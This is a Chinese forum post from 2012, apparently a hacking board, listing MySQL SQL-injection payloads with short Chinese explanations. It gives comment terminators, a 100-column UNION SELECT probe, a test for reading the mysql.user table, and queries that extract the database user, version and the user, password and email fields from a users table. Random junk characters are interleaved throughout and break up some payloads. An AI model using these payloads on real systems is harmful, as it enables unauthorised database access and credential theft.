标题: Mysql sqlinjection code [打印本页] 作者: admin 时间: 2012-9-15 14:01 标题: Mysql sqlinjection code ! @1 ~' M! W* |; _5 L$ y$ n6 `
Mysql sqlinjection code( T# \3 s* N9 X# O+ d
8 O( f0 f5 ^ G2 o" O9 a. b# %23 -- /* /**/ 注释- e0 G+ V$ j; A3 z
# {5 b1 b: j( N0 k$ W
UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- ; g- A$ H0 h5 T$ d% W 2 t+ }1 Q& ]1 |' m; L( F) n2 j& nand+(select+count(*)+from+mysql.user)>0-- 判断是否能读取MYSQL表 6 p3 X( X9 z5 a1 d. M' g
/ q5 s; u" R9 t& {) C
CONCAT_WS(CHAR(32,58,32),user(),database(),version()) 用户名 数据库 MYSQL版本 ) l; y# e8 G& O# j5 u$ x/ o# J) U9 ~
union+select+1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,7-- & b' f) I+ G6 R _$ W
; s9 X( T% S7 k6 p' Dunion all select 1,concat(user,0x3a,pass,0x3a,email) from users/* 获取users表的用户名 密码 email 信息 - `$ d9 m/ b1 s5 C5 M+ f" [
- ] x1 x4 J: K/ {# D g" ^3 Aunhex(hex(@@version)) unhex方式查看版本4 }+ _2 ^5 C+ c! r
# p7 `5 h( J: h. r" j' wunion all select 1,unhex(hex(@@version)),3/* 3 e' W, U/ R1 R& e% @2 w, R/ u8 m9 w# a. K5 b# A9 F9 R
convert(@@version using latin1) latin 方式查看版本 ; I" B+ S0 V+ q4 ]" A+ ?4 ~ . Q3 b- {& e+ cunion+all+select+1,convert(@@version using latin1),3-- 2 I4 [# \: H. x/ j
, I- q: n- R+ a1 G. K b) iCONVERT(user() USING utf8) 4 {/ ]# A4 s, J7 A2 J* b7 g; g5 s( Tunion+all+select+1,CONVERT(user() USING utf8),3-- latin方式查看用户名, M% |+ A7 E# m
$ P! M1 y, R$ o" c) N" O6 a